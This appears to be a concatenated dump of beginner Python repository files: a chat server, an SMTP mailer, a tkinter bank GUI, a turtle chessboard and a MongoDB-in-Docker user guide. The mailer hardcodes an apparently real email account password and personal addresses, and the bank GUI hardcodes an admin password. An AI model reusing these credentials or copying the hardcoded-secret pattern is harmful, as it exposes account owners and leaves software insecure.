"17666679c88c757963fb78303ab9d82683f21620", "content_id": "404dd5f5394dfc7e052ce600abdc7bcc3dda1091", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 523, "license_type": "permissive", "max_line_length": 36, "num_lines": 29, "path": "/py-basis/msql/setting.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 配置全局变量模块\n@Time : 2018/8/27 下午6:33\n@Author : 北冥神君\n@File : setting.py\n@Software: PyCharm\n\"\"\"\nfrom enum import Enum\n\n\nclass Stetting(Enum):\n\n MYSQL_HOST = 'localhost' # ip\n\n MYSQL_PORT = 3306 # 端口\n\n MYSQL_USER = 'root' # 用户名\n\n MYSQL_PASSWDRD = '' # 密码\n\n MYSQL_DATABASE = 'mydb' # 数据库\n\n MYSQL_CHARSET = 'utf8' # 连接编码\n\nif __name__ == '__main__':\n print(Stetting.MYSQL_HOST.value)\n" }, { "alpha_fraction": 0.523150622844696, "alphanum_fraction": 0.5302465558052063, "avg_line_length": 34.23125076293945, "blob_id": "20f41f68c04ef1742ff0df934b26694e194010dc", "content_id": "a2b9b79205da18c21bdc4261418e6a89443540a2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6331, "license_type": "permissive", "max_line_length": 117, "num_lines": 160, "path": "/py-basis/QQ简易版/server/server_socket_class.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 服务端模块\n@Time : 2018/8/19 下午9:35\n@Author : 北冥神君\n@File : server_socket.py\n@Software: PyCharm\n\"\"\"\n\n\nfrom socket import *\nfrom threading import *\nimport os\nimport struct\n\nfrom . import memory, login, chat_msg, manage_friend,\\\n manage_group, register, common_handler\n\n\n\nclass QQ_Server(object):\n def __init__(self,IP,PORT):\n print('服务器正在初始化中...')\n self.socket = socket(AF_INET, SOCK_STREAM)\n self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) # 操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口\n self.socket.bind((IP,int(PORT))) # 绑定IP地址\n self.socket.listen(50)\n memory.server_socket = self.socket # 保存到memory\n\n def run(self):\n self.server_handler(self.distribute_handler,self.socket)\n\n\n def server_handler(self,distribute_handler,socket):\n '''\n 循环监视器,接收数据,简单处理程序和分发 数据到不同的模块进行进一步处理。\n :param distribute_handler: 处理accept()返回的两个对象方法\n :param socket: socket对象\n :return: None\n '''\n print(\"服务已启动...\")\n while True:\n try:\n clienSocket, clientAddr = socket.accept()\n print(clientAddr)\n except KeyboardInterrupt:\n os._exit(0)\n except Exception:\n continue\n\n th1 = Thread(target=distribute_handler, args=(clienSocket, clientAddr))\n th1.start()\n\n def distribute_handler(self,clienSocket, clientAddr):\n '''\n accept()等待客户端连接之后此函数负责处理服务请求,分别分发到不同的模块进行处理\n :param clienSocket: accept()返回的两个对象中包含数据的对象\n :param clientAddr: accept()返回的两个对象中包含客户端的信息的对象\n :return: None\n '''\n\n while True:\n try:\n data = clienSocket.recv(4096)\n msg = common_handler.unpack_message(data)\n # Recv large file\n if msg[0] == common_handler.MessageType.large_file:\n msg_buffer += msg[1]\n if msg[2] == 0:\n msg = msg_buffer\n msg_buffer = None\n else:\n continue\n\n if msg[0] == common_handler.MessageType.register:\n # Register\n print(\"接收到注册请求\")\n register.register_handler(clienSocket, msg)\n\n elif msg[0] == common_handler.MessageType.login:\n # Login\n print(\"接收到登录请求\")\n login.login_handler(clienSocket, clientAddr, msg)\n\n elif msg[0] == common_handler.MessageType.clientAddrd_friend:\n # clientAddrd friend\n print(\"接收到添加好友请求\")\n manage_friend.clientAddrd_friend_handler(clienSocket, msg)\n\n elif msg[0] == common_handler.MessageType.confirm_friend_request:\n # confirm clientAddrd friend\n print(\"接收到确认添加好友请求\")\n manage_friend.confirm_handler(clienSocket, msg)\n\n elif msg[0] == common_handler.MessageType.delete_friend:\n # delete friend\n print(\"接收到删除好友请求\")\n manage_friend.del_friend_handler(clienSocket, msg)\n\n elif msg[0] == common_handler.MessageType.query_friend:\n # Get friend infomation\n print(\"接收到获取好友列表请求\")\n manage_friend.get_friend_handler(clienSocket)\n\n elif msg[0] == common_handler.MessageType.send_message:\n # Chat message\n print(\"接收到发送消息请求\")\n chat_msg.userchat_handler(msg)\n\n elif msg[0] == common_handler.MessageType.chatroom_message:\n # Chatroom message\n print(\"接收到聊天室信息请求\")\n chat_msg.chatroom_handler(clienSocket, msg)\n\n elif msg[0] == common_handler.MessageType.broclientAddrcast:\n # BroclientAddrcast message\n print(\"接收到广播请求\")\n chat_msg.broclientAddrcast_handler(clienSocket, msg)\n\n elif msg[0] == common_handler.MessageType.create_room:\n # Create chatroom\n print(\"接收到创建群聊请求\")\n manage_group.chatroom_handler(clienSocket, msg)\n\n elif msg[0] == common_handler.MessageType.join_room:\n # User join/leave chatroom\n print(\"接收到加入/退出群聊请求\")\n manage_group.user_join_leave_handler(clienSocket, msg, \"join\")\n\n elif msg[0] == common_handler.MessageType.leave_room:\n # User join/leave chatroom\n print(\"接收到加入/退出群聊请求\")\n manage_group.user_join_leave_handler(clienSocket, msg, \"leave\")\n\n elif msg[0] == common_handler.MessageType.logout:\n # User logout\n print(\"接收到用户登出信号\")\n login.logout_handler(clienSocket)\n\n elif msg[0] == common_handler.MessageType.query_room_users:\n print(\"收到用户请求刷新聊天室列表\")\n manage_group.query_chatroom_user(clienSocket, msg)\n\n except struct.error:\n pass\n except ConnectionResetError as e:\n print(e)\n del memory.online_user[clienSocket]\n memory.window.clientAddrd_user_list()\n except OSError as e:\n pass\n # except Exception as e:\n # print(\"服务器接收信息时遇到一个未知问题 >>\", e)\n\n\n\nif __name__ == \"__main__\":\n pass\n" }, { "alpha_fraction": 0.6348484754562378, "alphanum_fraction": 0.6621212363243103, "avg_line_length": 14.92682933807373, "blob_id": "149c723a7e937f9ccd8cee3d88abbfc9af61ef13", "content_id": "4c0db1cc970c12e99e3eec2eb6e41193ad0ef0c1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 806, "license_type": "permissive", "max_line_length": 68, "num_lines": 41, "path": "/py-basis/发邮件/原版.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 填写本模块功能大致描述\n@Time : 2018/8/10 下午8:09\n@Author : 北冥神君\n@File : 原版.py\n@Software: PyCharm\n\"\"\"\n\n\n# -*- coding:utf-8 -*-\n\nimport smtplib\nfrom email.mime.text import MIMEText\n\n#服务器\nSMTPserver = \"smtp.163.com\"\n#发送邮件的地址\nsender = \"13691511443@163.com\"\n#授权密码(不等同于登陆密码)\npassword = \"sunck1999\"\n\n#发送的内容\nmessage = \"sunck is a good man\"\n#转为邮件文本\nmsg = MIMEText(message)\n#邮件主题\nmsg[\"Subject\"] = \"nice\"\n#邮件的发送者\nmsg[\"From\"] = sender\n\n\n#链接smtp服务器\nmailServer = smtplib.SMTP(SMTPserver, 25)\n#登陆\nmailServer.login(sender, password)\n#发送邮件\nmailServer.sendmail(sender, [\"m15735183437@163.com\", \"1281499513@qq.com\"], msg.as_string())\nmailServer.quit()\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6054794788360596, "alphanum_fraction": 0.6260274052619934, "avg_line_length": 23.33333396911621, "blob_id": "9330aeb04ff9de3c0482f76b3d69348b57efc8cf", "content_id": "3a98cb13a0ce0f71ada5da27d1783b098d578119", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 750, "license_type": "permissive", "max_line_length": 81, "num_lines": 30, "path": "/py-basis/QQ简易版/server/register.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 注册处理\n@Time : 2018/8/19 下午9:35\n@Author : 北冥神君\n@File : register.py\n@Software: PyCharm\n\"\"\"\n\n\nimport struct\nfrom . import memory, common_handler\n\n\ndef register_handler(c, msg):\n uname = msg[1].decode()\n upswd = msg[2].decode()\n nkname = msg[3].decode()\n res = memory.db.register(uname, upswd, nkname)\n if res == 'OK':\n c.send(struct.pack(\"!L\", common_handler.MessageType.register_successful))\n return\n elif res == \"NAMEEXIST\":\n c.send(struct.pack(\"!L\", common_handler.MessageType.username_taken))\n else:\n c.send(struct.pack(\"!L\", common_handler.MessageType.general_failure))\n c.close()\n memory.online_user.pop(c)\n" }, { "alpha_fraction": 0.4472843408584595, "alphanum_fraction": 0.4568690061569214, "avg_line_length": 26.636363983154297, "blob_id": "c289cbcef818a1ae489cee18f155d00beecd945a", "content_id": "1d4131aa4ee2f9fb525fc867cebb904e43030465", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 341, "license_type": "permissive", "max_line_length": 48, "num_lines": 11, "path": "/py-basis/人射击子弹/gun.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\nclass Gun(object):\r\n def __init__(self, box):\r\n self.box = box\r\n def shoot(self):\r\n if self.box.count == 0:\r\n print(\"没有子弹了\")\r\n else:\r\n self.box.count -= 1\r\n self.box.bullets.pop()\r\n print(\"嘭!!!子弹剩余:%d发\"%self.box.count)" }, { "alpha_fraction": 0.5272001624107361, "alphanum_fraction": 0.5447456240653992, "avg_line_length": 40.24313735961914, "blob_id": "b724a22739da34371dc8513f3a606a63c463fab8", "content_id": "f40908d3724bfabbdbdf4dce5702a2fa88305081", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11700, "license_type": "permissive", "max_line_length": 149, "num_lines": 255, "path": "/py-basis/各组银行系统带界面/第四组/bank_view.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "import tkinter\r\nimport tkinter.messagebox\r\nfrom tkinter_bank.card import Card\r\nfrom tkinter_bank.person import Person\r\nimport bank_atm\r\nimport bank_admin\r\nimport bank_sys\r\nimport time\r\n\r\ndef addUser(allUsers, name, cardId, password, money): # 开户\r\n print(password + \"*************\")\r\n card_num = createCardnum(allUsers) # 卡号\r\n if money < 0:\r\n money = 0\r\n card = Card(card_num, password, money)\r\n person = Person(name, cardId, card) # 身份证,卡都ok了,存入到所有用户里\r\n allUsers[card_num] = person\r\n bank_sys.bank_updata(allUsers)\r\n return card_num\r\n\r\n\r\ndef delUser(allUsers, username): # 销户\r\n allUsers.pop(username)\r\n bank_sys.bank_updata(allUsers)\r\n\r\n\r\ndef createCardnum( Users): # 返回值,判断是否重复,重复了就需要重新生成 6位的吧\r\n import random\r\n num = random.choice(range(900000)) + 100000\r\n while num in Users.keys():\r\n num = random.choice(range(900000)) + 100000\r\n return num\r\n\r\n\r\ndef add(allUsers,username,cardId,password,password2,money):\r\n name1 = username.get()\r\n cardId1 = cardId.get()\r\n passwd1 = password.get()\r\n passwd2 = password2.get()\r\n money1 = money.get()\r\n if name1 != \"\" and cardId1 != \"\":\r\n if passwd2 !=\"\" and passwd1 == passwd2:\r\n if money1 != \"\":\r\n money1 = int(money1)\r\n print(passwd1+\"1111111111\")\r\n num = 0\r\n for x in allUsers.values():\r\n print(x.cardId)\r\n if cardId1 == x.cardId:\r\n num = x.card.num\r\n if num:\r\n tkinter.messagebox.showinfo(\"开户失败\", \"该身份证已办理银行卡!\")\r\n username.set(\"\")\r\n cardId.set(\"\")\r\n password.set(\"\")\r\n password2.set(\"\")\r\n money.set(\"\")\r\n else:\r\n\r\n card_num = addUser(allUsers, name1, cardId1, passwd1, money1)\r\n tkinter.messagebox.showinfo(\"卡号信息\", \"请牢记您的卡号:%s\" % (card_num))\r\n list_mes = []\r\n list_mes.append(\"开户\")\r\n list_mes.append(\"+\"+str(money1))\r\n now_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))\r\n list_mes.append(now_time)\r\n allUsers[card_num].card.account_list.append(list_mes)\r\n username.set(\"\")\r\n cardId.set(\"\")\r\n password.set(\"\")\r\n password2.set(\"\")\r\n money.set(\"\")\r\n for x in allUsers.items():\r\n print(x[0])\r\n else:\r\n tkinter.messagebox.showinfo(\"开户失败\", \"预存款不能为0,请输入预存款!\" )\r\n else:\r\n tkinter.messagebox.showinfo(\"开户失败\", \"密码设置错误,请重新输入!\")\r\n password.set(\"\")\r\n password2.set(\"\")\r\n else:\r\n tkinter.messagebox.showinfo(\"开户失败\", \"信息输入不完整,请重新输入!\")\r\n\r\n\r\ndef remove_user(self,allUsers,username,password):\r\n for x in allUsers.items():\r\n print(x[0])\r\n\r\n cardid = (username.get())\r\n passwd = password.get()\r\n if cardid != \"\"and passwd != \"\":\r\n cardid = int(cardid)\r\n if cardid in allUsers:\r\n if allUsers[cardid].card.lock == False:\r\n if self.trynum < 2:\r\n if passwd == allUsers[cardid].card.passwd:\r\n delUser(allUsers,cardid)\r\n username.set(\"\")\r\n password.set(\"\")\r\n tkinter.messagebox.showinfo(\"销户成功\", \"%s 已经被销毁!\"%cardid)\r\n else:\r\n tkinter.messagebox.showinfo(\"销户失败\", \"密码输入错误,请确认后重新输入!\")\r\n self.trynum += 1\r\n password.set(\"\")\r\n else:\r\n tkinter.messagebox.showinfo(\"销户失败\", \"三次输入错误,该卡已经被锁定!\")\r\n allUsers[cardid].card.lock = True\r\n bank_sys.bank_updata(allUsers)\r\n self.trynum = 0\r\n else:\r\n tkinter.messagebox.showinfo(\"销户失败\", \"该卡已经被锁定,无法进行任何操作!\")\r\n else:\r\n tkinter.messagebox.showinfo(\"销户失败\", \"不存在该卡号,请确认后重新输入!\")\r\n username.set(\"\")\r\n password.set(\"\")\r\n else:\r\n tkinter.messagebox.showinfo(\"销户失败\", \"信息输入不完整,请重新输入!\")\r\n\r\n\r\ndef func2(self,frm,win,allUsers,username,password):#进入ATM界面\r\n for x in allUsers.items():\r\n print(x[0],x[1].card.passwd)\r\n cardid = username.get()\r\n passwd = password.get()\r\n if cardid != \"\" and passwd != \"\":\r\n cardid = int(cardid)\r\n if cardid in allUsers:\r\n if allUsers[cardid].card.lock == False:\r\n if self.trynum < 2:\r\n if passwd == allUsers[cardid].card.passwd:\r\n frm.pack_forget()\r\n bank_atm.AtmView(win,allUsers,cardid)\r\n else:\r\n tkinter.messagebox.showinfo(\"进入ATM失败\", \"密码输入错误,请确认后重新输入!\")\r\n self.trynum += 1\r\n print(self.trynum)\r\n password.set(\"\")\r\n else:\r\n tkinter.messagebox.showinfo(\"进入ATM失败\", \"三次输入错误,该卡已经被锁定!\")\r\n allUsers[cardid].card.lock = True\r\n bank_sys.bank_updata(allUsers)\r\n self.trynum = 0\r\n else:\r\n tkinter.messagebox.showinfo(\"进入ATM失败\", \"该卡已经被锁定,无法进行任何操作!\")\r\n else:\r\n tkinter.messagebox.showinfo(\"进入ATM失败\", \"不存在该卡号,请确认后重新输入!\")\r\n username.set(\"\")\r\n password.set(\"\")\r\n else:\r\n tkinter.messagebox.showinfo(\"进入ATM失败\", \"信息输入不完整,请重新输入!\")\r\n\r\n\r\ndef func3(frm,win,allUsers,username,password):#进入ATM界面\r\n\r\n\r\n cardid = username.get()\r\n passwd = password.get()\r\n if cardid != \"\" and passwd != \"\":\r\n if cardid ==\"xiaoha\":\r\n if passwd == \"123456\":\r\n frm.pack_forget()\r\n bank_admin.AdminView(win,allUsers)\r\n else:\r\n tkinter.messagebox.showinfo(\"进入管理员失败\", \"密码输入错误,请确认后重新输入!\")\r\n password.set(\"\")\r\n\r\n else:\r\n tkinter.messagebox.showinfo(\"进入管理员失败\", \"不存在该账号,请确认后重新输入!\")\r\n username.set(\"\")\r\n password.set(\"\")\r\n else:\r\n tkinter.messagebox.showinfo(\"进入ATM失败\", \"信息输入不完整,请重新输入!\")\r\n\r\n\r\n\r\n\r\n\r\nclass bank_View(object):\r\n def __init__(self):\r\n self.trynum=0\r\n\r\n\r\n def view_Login(self,win,allUsers):\r\n\r\n frm = tkinter.Frame(win)\r\n frm.pack()\r\n\r\n username = tkinter.StringVar()\r\n password = tkinter.StringVar()\r\n tkinter.Label(frm, text='进入ATM', font=\"15\").grid(row=0, column=1, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text='卡号: ').grid(row=1, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=username).grid(row=1, column=1, stick=tkinter.E)\r\n tkinter.Label(frm, text='密码: ').grid(row=2, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=password, show='*').grid(row=2, column=1, stick=tkinter.E)\r\n tkinter.Button(frm, text='登录', command=lambda :func2(self,frm,win,allUsers,username,password)).grid(row=3, stick=tkinter.W, pady=10)\r\n tkinter.Button(frm, text='退出', command=win.quit).grid(row=3, column=1, stick=tkinter.E, pady=10)\r\n\r\n return frm\r\n\r\n def view_addUser(self,win,allUsers):\r\n frm = tkinter.Frame(win)\r\n frm.pack()\r\n username = tkinter.StringVar()\r\n cardId = tkinter.StringVar()\r\n password = tkinter.StringVar()\r\n password2 = tkinter.StringVar()\r\n money = tkinter.StringVar()\r\n tkinter.Label(frm, text = '开户界面', font = \"15\").grid(row=0, column=1, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text = '姓名: ').grid(row=1, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable = username).grid(row=1, column=1, stick=tkinter.E)\r\n tkinter.Label(frm, text = '身份证号: ').grid(row=2, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=cardId).grid(row=2, column=1, stick=tkinter.E)\r\n tkinter.Label(frm, text = '密码:').grid(row=3, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=password, show=\"*\").grid(row=3, column=1, stick=tkinter.E)\r\n tkinter.Label(frm, text='确认密码:').grid(row=4, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=password2, show = \"*\").grid(row=4, column=1, stick=tkinter.E)\r\n tkinter.Label(frm, text='预存款:').grid(row=5, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=money).grid(row=5, column=1, stick=tkinter.E)\r\n tkinter.Button(frm, text='开户', command=lambda :add(allUsers,username,cardId,password,password2,money)).grid(row=6, stick=tkinter.W, pady=10)\r\n tkinter.Button(frm, text='退出', command=win.quit).grid(row=6, column=1, stick=tkinter.E, pady=10)\r\n for x in allUsers.items():\r\n print(x[0])\r\n return frm\r\n\r\n def view_delUser(self,win,allUsers):\r\n\r\n frm = tkinter.Frame(win)\r\n frm.pack()\r\n\r\n username = tkinter.StringVar()\r\n password = tkinter.StringVar()\r\n tkinter.Label(frm, text = '销户界面', font = \"15\").grid(row=0, column=1, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text='卡号: ').grid(row=1, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=username).grid(row=1, column=1, stick=tkinter.E)\r\n tkinter.Label(frm, text='密码: ').grid(row=2, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=password, show='*').grid(row=2, column=1, stick=tkinter.E)\r\n tkinter.Button(frm, text='销户',command=lambda :remove_user(self,allUsers,username,password)).grid(row=3, stick=tkinter.W, pady=10)\r\n tkinter.Button(frm, text='退出', command=win.quit).grid(row=3, column=1, stick=tkinter.E, pady=10)\r\n\r\n return frm\r\n\r\n def view_adminLogin(self,win,allUsers):\r\n\r\n frm = tkinter.Frame(win)\r\n frm.pack()\r\n username = tkinter.StringVar()\r\n password = tkinter.StringVar()\r\n tkinter.Label(frm, text = '管理员登录', font = \"15\").grid(row=0, column=1, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text='账号: ').grid(row=1, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=username).grid(row=1, column=1, stick=tkinter.E)\r\n tkinter.Label(frm, text='密码: ').grid(row=2, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=password, show='*').grid(row=2, column=1, stick=tkinter.E)\r\n tkinter.Button(frm, text='登录',command=lambda :func3(frm,win,allUsers,username,password)).grid(row=3, stick=tkinter.W, pady=10)\r\n tkinter.Button(frm, text='退出', command=win.quit).grid(row=3, column=1, stick=tkinter.E, pady=10)\r\n return frm\r\n" }, { "alpha_fraction": 0.5296803712844849, "alphanum_fraction": 0.5662100315093994, "avg_line_length": 21.88888931274414, "blob_id": "eff97f6bf7db50e0f9642f27e8102917f7a67f4c", "content_id": "307c5d49a6b966d0a824716cfcbf631dbe94b21d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 219, "license_type": "permissive", "max_line_length": 35, "num_lines": 9, "path": "/py-basis/各组银行系统带界面/第六组/atm.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "from singleton import singletonDeco\r\n\r\n@singletonDeco\r\nclass ATM(object):\r\n def __init__(self):\r\n self.account = \"1\"\r\n self.passwd = \"1\"\r\n self.money = 1000.00\r\n self.isActive = True\r\n\r\n\r\n" }, { "alpha_fraction": 0.4690150022506714, "alphanum_fraction": 0.5127201676368713, "avg_line_length": 25.912281036376953, "blob_id": "ec1c9f9d2017d3249e34ce24223463f78f5179ff", "content_id": "898753bff04285d6b73ed2a151b3ae60101bc013", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1759, "license_type": "permissive", "max_line_length": 68, "num_lines": 57, "path": "/py-basis/国际象棋.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 国际象棋\n@Time : 2018/8/2 下午5:28\n@Author : 北冥神君\n@File : 国际象棋.py\n@Software: PyCharm\n\"\"\"\nimport turtle\n# 画国际象棋的整体思路是,先画一个黑的或者白色的方块,然后通过两层循环控制落笔坐标。注意一点是,如何控制方块的颜色。\n\n\nbool_bool =True\nturtle.speed(10)\nfor x in range(-200,200,50):\n for y in range(-200,200,50):\n print(x,y)\n if bool_bool:\n #画黑色\n turtle.goto(x,y)\n turtle.pendown()\n turtle.begin_fill()\n turtle.fillcolor(\"black\")\n turtle.forward(50)\n turtle.left(90)\n turtle.forward(50)\n turtle.left(90)\n turtle.forward(50)\n turtle.left(90)\n turtle.forward(50)\n turtle.left(90)\n turtle.end_fill()\n turtle.penup()\n else:\n #画白色\n turtle.goto(x, y)\n turtle.pendown()\n turtle.begin_fill()\n turtle.fillcolor(\"white\")\n turtle.forward(50)\n turtle.left(90)\n turtle.forward(50)\n turtle.left(90)\n turtle.forward(50)\n turtle.left(90)\n turtle.forward(50)\n turtle.left(90)\n turtle.end_fill()\n turtle.penup()\n bool_bool = bool(int(bool_bool)-1) #画完一个格子之后转换颜色。\n bool_bool = bool(int(bool_bool) - 1) #画完一列之后转换颜色\n print(bool_bool)\nturtle.done()\n#bool_bool = bool(int(bool_bool) - 1) 真-->假 假-->真 对应 黑->白 白-->黑\n#int(False) = 0,int(True) = 1 bool(0) = False,bool(非零)=True," }, { "alpha_fraction": 0.6823852062225342, "alphanum_fraction": 0.6986027956008911, "avg_line_length": 9.829730033874512, "blob_id": "5a87a76e60d38931eaad1a21aaaac46a69cf7c6b", "content_id": "6741db00df079d51300856bb195784200b8c5e11", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 7186, "license_type": "permissive", "max_line_length": 148, "num_lines": 370, "path": "/py-basis/mongodb/docker中MongoD用户管理.md", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "## docker中MongoD用户管理\n![MongoDB 使用系列(一)-- 安装](image/mongo.jpg)\n## 0.前言\n\nmongodb作为时下最为热门的数据库,那么其安全验证也是必不可少的,否则一个没有验证的数据库暴露出去,任何人可随意操作,这将是非常危险的。\n\n本篇就mongodb的用户操作及用户验证来作探讨。\n\n## 1\\. 安装\n\n自[docker](https://link.zhihu.com/?target=http%3A//www.widuu.com/chinese_docker/index.html)面世以来,后端部署和环境搭建已逐渐步入容器化时代,作为一名有追求有作为的程序员,你有必要对前沿的技术有所了解和探讨。\n\n个人推荐使用docker搭建你的mongodb,操作也十分简单。\n\n#### 首先,获取docker官方的mongodb镜像,也可以是第三方源的镜像\n\n\n\n```\ndocker pull mongo\n\n```\n\n\n\n效果图如下:\n\n#### 其次,启动你的mongo镜像,如下:\n\n\n\n```\n docker run --name mymongo -p 27017:27017 -v /home/mongodb/data:/data/db -d mongo\n\n```\n\n\n\n简单解释下:\n\ndocker run 命令用于启动一个容器, --name mymongo 指定容器的名称为mymongo\n\n-p 27017:27017,将容器内27017端口映射到服务器27017端口\n\n-v /home/mongodb/data:/data/db,指定数据存储目录/home/mongodb/data映射到容器内的/data/db存储目录\n\n-d 守护进程运行\n\nmongo 指定运行的镜像\n\n#### 那么,如何开启验证呢?\n\n也简单,只需要加上--auth即可:\n\n\n\n```\n docker run --name mymongo -p 27017:27017 -v /home/mongodb/data:/data/db -d mongo --auth\n\n```\n\n\n\n至此,一个mongo容器就可以跑起来了,还有更多可操作的地方,不在主题范围内,这里不做详细阐述。\n\n要注意的是,首次启动,或还没有设置用户验证之前,请不要开启验证,后面会讲到。\n\n## 2\\. 创建db管理账户\n\n在创建用户之前,我们来看看db用户具体可以有哪些权限:\n\n#### mongodb用户权限列表:\n\n\n\n```\nRead:允许用户读取指定数据库\n\nreadWrite:允许用户读写指定数据库\n\ndbAdmin:允许用户在指定数据库中执行管理函数,如索引创建、删除,查看统计或访问system.profile\n\nuserAdmin:允许用户向system.users集合写入,可以找指定数据库里创建、删除和管理用户\n\nclusterAdmin:只在admin数据库中可用,赋予用户所有分片和复制集相关函数的管理权限。\n\nreadAnyDatabase:只在admin数据库中可用,赋予用户所有数据库的读权限\n\nreadWriteAnyDatabase:只在admin数据库中可用,赋予用户所有数据库的读写权限\n\nuserAdminAnyDatabase:只在admin数据库中可用,赋予用户所有数据库的userAdmin权限\n\ndbAdminAnyDatabase:只在admin数据库中可用,赋予用户所有数据库的dbAdmin权限。\n\nroot:只在admin数据库中可用。超级账号,超级权限\n\n```\n\n\n\nmongodb有一个用户管理机制,简单描述为,有一个管理用户组,这个组的用户是专门为管理普通用户而设的,暂且称之为管理员。\n\n管理员通常没有数据库的读写权限,只有操作用户的权限, 因此我们只需要赋予管理员userAdminAnyDatabase角色即可\n\n另外管理员账户必须在admin数据库下创建,3.0版本后没有admin数据库,但我们可以手动use一个\n\n\n\n```\nuse admin\n\n```\n\n\n\n下面我们来创建一个管理账户\n\n#### 首先,要进入mongo,以我本地数据库为例\n\n如图:\n\n如果数据库使用docker搭建的,则需要进入你的mongo容器内去操作。\n\n比如,以我的服务器mongo镜像为例:\n\n#### 切换到admin数据库,创建管理员\n\n进入mongo之后,那么意味着我们可以操作db了。\n\n需要明白的一点是,管理员需要在admin数据库下创建,所以我们得进入admin数据库\n\n使用use命令,即可进入某个数据库,如下:\n\n\n\n```\nuse admin\n\n```\n\n\n\n切换到admin数据库后,我们可以查看db的用户列表,此时用户列表是空的,因为我们还没有创建db用户\n\n\n\n```\ndb.system.users.find()\n# 此时列表为空\n\n```\n\n\n\n#### 接着,开始创建你的管理员账户,比如,创建一个用户名为super, 密码为superpwd的管理员账户:\n\n\n\n```\ndb.createUser({ \n user: ‘super’, \n pwd: ‘superpwd’, \n roles: [ { role: \"userAdminAnyDatabase\", db: \"admin\" } ] });\n\n```\n\n\n\n成功则会提示Successfully\n\n注意:这里使用createUser()方法来创建,addUser()方法已经被废弃\n\n#### 管理员授权\n\n创建管理员后,需要给管理员授权,否则无权限操作用户\n\n授权也十分简单,如下:\n\n\n\n```\ndb.auth('super','superpwd')\n\n```\n\n\n\n如果结果返回1,则表示授权成功,返回0则表示失败\n\n至此,管理员创建完成。\n\n下面是完整流程:\n\n## 3\\. 使用管理员账户创建普通用户\n\n普通用户由管理员创建,并授权。通常需要指定某个数据库来操作。\n\n#### 先看需求\n\n比如,现在我需要创建一个blog数据库,并且给这个数据库添加一个用户,用户名为develop,密码为developpwd,\n\n只有这个用户可以操作这个blog数据库。\n\n#### 管理员账户登录\n\n需要明白一点的是,普通用户需要由管理员创建并授权,所以,我们首先做的就是用管理员账户登录数据库\n\n提示:在管理员账户创建完成后,我们需要重新启动数据库,并开启验证\n\n以docker为例:\n\n\n\n```\n# 重新启动,开启验证\ndocker run --name mymongo -p 27017:27017 -v /home/mongodb/data:/data/db -d mongo --auth\n\n```\n\n\n\n重新启动之后,我们就可以用管理员账户进入mongo,如下:\n\n\n\n```\n# 指定用户进入mongo可使用: mongo admin -u 用户名 -p 密码\nmongo admin -u super -p superpwd\n\n```\n\n\n\n进入之后,我们就可以做用户操作了\n\n#### 创建数据库,并创建用户\n\n进入mongo之后,首先切换到blog数据库\n\n\n\n```\nuse blog\n# 没有则会自动创建\n\n```\n\n\n\n紧接着,可以创建develop用户了\n\n\n\n```\ndb.createUser({\n user: \"develop\",\n pwd: \"developpwd\",\n roles: [ { role: \"readWrite\", db: \"blog\" } ]\n })\n# 指定可访问blog数据库,并给予readWrite(读写)权限\n\n```\n\n\n\n再接着就是给develop用户授权了\n\n\n\n```\ndb.auth('develop','developpwd')\n\n```\n\n\n\n至此,普通用户develop创建完成。\n\n这时,我们就可以使用develop用户连接blog数据库了,如下;\n\n\n\n```\n mongo 